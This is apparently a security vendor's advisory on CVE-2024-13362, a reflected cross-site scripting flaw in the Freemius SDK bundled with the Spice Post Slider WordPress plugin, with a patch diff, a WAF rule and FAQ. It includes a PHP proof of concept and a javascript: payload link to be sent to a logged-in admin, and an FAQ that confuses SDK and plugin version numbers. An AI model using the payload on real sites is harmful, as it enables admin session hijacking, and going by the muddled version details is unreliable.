Atomic Edge analysis of CVE-2024-13362:
This vulnerability is a reflected DOM-based cross-site scripting (XSS) flaw in the Freemius SDK (versions 2.10.1 and earlier), which is bundled with plugins such as Spice Post Slider. An unauthenticated attacker can inject and execute arbitrary JavaScript in a victim’s browser by tricking them into clicking a crafted link. The attack does not require authentication, and the CVSS score is 6.1 (Medium).
The root cause lies in the trial promotion notice system. In `class-freemius.php`, at line 24000 (vulnerable version), the SDK constructs a promotional message that includes a `$trial_url` variable. This URL is used directly in an HTML anchor without sanitization or output escaping. The vulnerable code concatenates `$message`, `$cc_string`, and a `$button` (which includes `$trial_url`) into a single string, then passes it to `$this->apply_filters( ‘trial_promotion_message’, … )`. The filter output is stored as a sticky admin notice. When the notice is rendered, the unescaped URL appears in the DOM. An attacker can control the `url` parameter (likely via the `fs_connect` or similar endpoint) and inject a `javascript:` URI or an XSS payload that becomes part of the notice HTML.
Exploitation requires the attacker to craft a URL that passes a malicious value (e.g., `javascript:alert(document.domain)` or an encoded XSS vector) into the `url` parameter when the Freemius SDK processes a connection or trial initiation. The vulnerable code path is triggered when an admin or user with access to the WordPress admin panel views the sticky notice. The attacker must trick the victim into clicking a link containing the malicious `url` parameter (e.g., `https://target.com/wp-admin/options-general.php?page=spice-post-slider&url=javascript:alert(1)`). Once the admin panel loads the notice, the injected script executes in the context of the admin session, allowing cookie theft, admin user creation, or plugin/theme manipulation.
The patch in version 2.11.0 restructures the notice concatenation. Instead of embedding the `$button` (which contains the unescaped `$trial_url`) directly into the filter string, the patch separates the message text (`$message_text`) and wraps the button in a dedicated inner `
A successful exploit allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of a logged-in WordPress administrator. This can lead to session hijacking, theft of authentication cookies, creation of rogue admin accounts, installation of malicious plugins, defacement, or redirection to phishing pages. Since the attack requires user interaction (clicking a link), the overall severity is limited, but the impact on an affected site can be total compromise.
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/spice-post-slider/freemius/includes/class-freemius.php
+++ b/spice-post-slider/freemius/includes/class-freemius.php
@@ -24000,13 +24000,15 @@
// Start trial button.
$button = ' ' . sprintf(
- '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s ➜</button></a>',
+ '<div><a class="button button-primary" href="%s">%s ➜</a></div>',
$trial_url,
$this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
);
+ $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
$this->_admin_notices->add_sticky(
- $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+ "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
'trial_promotion',
'',
'promotion'
@@ -25476,7 +25478,7 @@
$img_dir = WP_FS__DIR_IMG;
// Locate the main assets folder.
- if ( 1 < count( $fs_active_plugins->plugins ) ) {
+ if ( ! empty( $fs_active_plugins->plugins ) ) {
$plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );
foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/spice-post-slider/freemius/includes/class-fs-plugin-updater.php
+++ b/spice-post-slider/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@
global $wp_current_filter;
- $current_plugin_version = $this->_fs->get_plugin_version();
-
- if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
- if (
- is_null( $this->_update_details ) ||
- ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
- ) {
- /**
- * After an update, clear the stored update details and reparse the plugin's main file in order to get
- * the updated version's information and prevent the previous update information from showing up on the
- * updates page.
- *
- * @author Leo Fajardo (@leorw)
- * @since 2.3.1
- */
- $this->_update_details = null;
- $current_plugin_version = $this->_fs->get_plugin_version( true );
- }
+ if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+ return $transient_data;
}
if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
false,
fs_request_get_bool( 'force-check' ),
FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
- $current_plugin_version
+ $this->_fs->get_plugin_version()
);
$this->_update_details = false;
--- a/spice-post-slider/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/spice-post-slider/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
/**
* Class FS_Plugin_Plan
*
- * @property FS_Pricing[] $pricing
*/
class FS_Plugin_Plan extends FS_Entity {
--- a/spice-post-slider/freemius/includes/entities/class-fs-site.php
+++ b/spice-post-slider/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
exit;
}
- /**
- * @property int $blog_id
- */
- #[AllowDynamicProperties]
class FS_Site extends FS_Scope_Entity {
/**
* @var number
*/
public $site_id;
/**
+ * @var int
+ */
+ public $blog_id;
+ /**
* @var number
*/
public $plugin_id;
--- a/spice-post-slider/freemius/includes/entities/class-fs-user.php
+++ b/spice-post-slider/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
parent::__construct( $user );
}
+ /**
+ * This method removes the deprecated 'is_beta' property from the serialized data.
+ * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+ *
+ * @return void
+ */
+ function __wakeup() {
+ if ( property_exists( $this, 'is_beta' ) ) {
+ // If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+ unset( $this->is_beta );
+ }
+ }
+
function get_name() {
return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
}
--- a/spice-post-slider/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/spice-post-slider/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
$menu = $this->find_main_submenu();
}
+ $menu_slug = $menu['menu'][2];
$parent_slug = isset( $menu['parent_slug'] ) ?
- $menu['parent_slug'] :
- 'admin.php';
+ $menu['parent_slug'] :
+ 'admin.php';
- return admin_url(
- $parent_slug .
- ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
- 'page=' .
- $menu['menu'][2]
- );
+ if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+ $parent_slug = 'admin.php';
+
+ /**
+ * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+ *
+ * @author Leo Fajardo (@leorw)
+ * @since 2.10.2
+ */
+ global $_parent_pages;
+
+ if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+ $_parent_slug = $_parent_pages[ $menu_slug ];
+ $parent_slug = isset( $_parent_pages[ $_parent_slug ] ) ?
+ $parent_slug :
+ $menu['parent_slug'];
+ }
+ }
+
+ return admin_url(
+ $parent_slug .
+ ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+ 'page=' .
+ $menu_slug
+ );
}
/**
--- a/spice-post-slider/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/spice-post-slider/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
* @since 1.0.7
*/
static function _add_sticky_dismiss_javascript() {
+ $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+ if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+ return;
+ }
+
$params = array();
- fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+ fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
}
private static $_added_sticky_javascript = false;
--- a/spice-post-slider/freemius/start.php
+++ b/spice-post-slider/freemius/start.php
@@ -15,7 +15,7 @@
*
* @var string
*/
- $this_sdk_version = '2.10.1';
+ $this_sdk_version = '2.11.0';
#region SDK Selection Logic --------------------------------------------------------------------
--- a/spice-post-slider/spice-post-slider.php
+++ b/spice-post-slider/spice-post-slider.php
@@ -3,7 +3,7 @@
* Plugin Name: Spice Post Slider
* Plugin URI: https://spicethemes.com/spice-post-slider/
* Description: This plugin allows you to showcase your blog posts in a beautiful slider with multiple options, It is responsive ready so it will work perfectly on different devices like mobile and iPad.
-* Version: 2.1
+* Version: 2.2
* Requires at least: 5.3
* Requires PHP: 5.2
* Tested up to: 6.7.1
@@ -20,7 +20,7 @@
// Assuming WC_PLUGIN_VERSION is defined somewhere in your plugin
if ( ! defined( 'SPS_PLUGIN_VERSION' ) ) {
- define( 'SPS_PLUGIN_VERSION', '2.1' );
+ define( 'SPS_PLUGIN_VERSION', '2.2' );
}
if ( ! function_exists( 'sps_fs' ) ) {
@@ -94,7 +94,7 @@
public function __construct() {
$this->plugin_url = plugin_dir_url( __FILE__ );
$this->plugin_path = plugin_dir_path( __FILE__ );
- $this->version = '2.1';
+ $this->version = '2.2';
define( 'SPS_URL', $this->plugin_url );
define( 'SPS_PATH', $this->plugin_path );
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362
# This rule blocks reflected XSS via the 'url' parameter in Freemius SDK admin pages.
# It targets the specific vulnerable endpoint pattern and detects javascript: URIs.
SecRule REQUEST_URI "@rx /wp-admin/(admin.php|options-general.php|admin-ajax.php)"
"id:20262000,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Freemius XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_GET:url "@rx ^javascript:"
"t:none"
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// This PoC demonstrates that an unauthenticated attacker can inject JavaScript
// by crafting a URL with a malicious 'url' parameter that targets the Freemius
// trial promotion notice endpoint.
$target_url = 'http://localhost/wordpress'; // CHANGE THIS to the target WordPress installation
// The vulnerable parameter is 'url'. We inject a simple XSS payload.
// This URL should be sent to a logged-in admin; once viewed, the script runs.
$malicious_url = $target_url . '/wp-admin/admin.php?page=spice-post-slider&url=javascript:alert(document.domain)';
echo "[+] Atomic Edge CVE-2024-13362 PoCn";
echo "[+] Payload URL: " . $malicious_url . "n";
echo "[+] Send this URL to a logged-in admin to trigger XSS.n";
// Use cURL to verify the page includes the injected script (optional)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'javascript:alert') !== false) {
echo "[+] The response contains the injected URL. Exploit appears viable.n";
} else {
echo "[-] The injected URL was not found in the response. Check target and payload.n";
}
?>
Frequently Asked Questions
What is CVE-2024-13362?
Understanding the vulnerabilityCVE-2024-13362 is a reflected DOM-based Cross-Site Scripting (XSS) vulnerability found in the Freemius SDK bundled with WordPress plugins like Spice Post Slider. It allows unauthenticated attackers to inject arbitrary JavaScript into a victim’s browser by manipulating the ‘url’ parameter in a crafted link.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability occurs due to insufficient input sanitization and output escaping in the construction of promotional messages within the Freemius SDK. An attacker can craft a URL that includes a malicious script in the ‘url’ parameter, which executes when a user clicks the link and views the sticky notice in the WordPress admin panel.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using Freemius SDK version 2.10.1 or earlier, particularly those with the Spice Post Slider plugin, is at risk. Administrators should check their plugin versions to determine if they are using a vulnerable version.
How can I check if my site is vulnerable?
Version verification stepsTo check if your site is vulnerable, verify the version of the Spice Post Slider plugin installed on your WordPress site. If it is version 2.10.1 or earlier, your site is susceptible to CVE-2024-13362.
What should I do to fix this vulnerability?
Recommended actionsTo mitigate this vulnerability, update the Spice Post Slider plugin to version 2.2 or later, where the issue has been patched. Regularly updating all plugins and themes is a best practice for maintaining site security.
What does the CVSS score of 6.1 mean?
Interpreting severity levelsThe CVSS score of 6.1 indicates a medium severity level, suggesting that while the vulnerability is not critical, it can still lead to significant security risks if exploited. It highlights the need for prompt attention and remediation.
What are the practical risks associated with this vulnerability?
Potential impact on affected sitesIf exploited, this vulnerability can allow attackers to execute arbitrary JavaScript in the context of a logged-in administrator’s session. This could lead to session hijacking, unauthorized account creation, or malicious changes to the site.
How does the proof of concept demonstrate the issue?
Understanding the PoCThe proof of concept illustrates how an attacker can craft a malicious URL that triggers the XSS vulnerability. By sending this URL to a logged-in administrator, the attacker can execute JavaScript in the admin’s browser, demonstrating the exploit’s feasibility.
What is the significance of the patch in version 2.2?
Changes made to mitigate the vulnerabilityThe patch in version 2.2 restructures how promotional messages are constructed, ensuring that user-controlled data is separated from HTML structure. This prevents the direct embedding of unescaped URLs, thereby mitigating the risk of XSS.
Are there any additional security measures I should take?
Enhancing overall security postureIn addition to updating vulnerable plugins, consider implementing a web application firewall (WAF), conducting regular security audits, and educating users about the risks of clicking unknown links. These measures can further protect your site from various attacks.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategiesIf you cannot update the plugin right away, consider disabling the plugin until a patch can be applied. Additionally, ensure that all users with admin access are aware of the vulnerability and avoid clicking on suspicious links.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2024-13362 can be found on the official CVE website, security advisories from the plugin developers, and security-focused blogs that cover WordPress vulnerabilities.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations







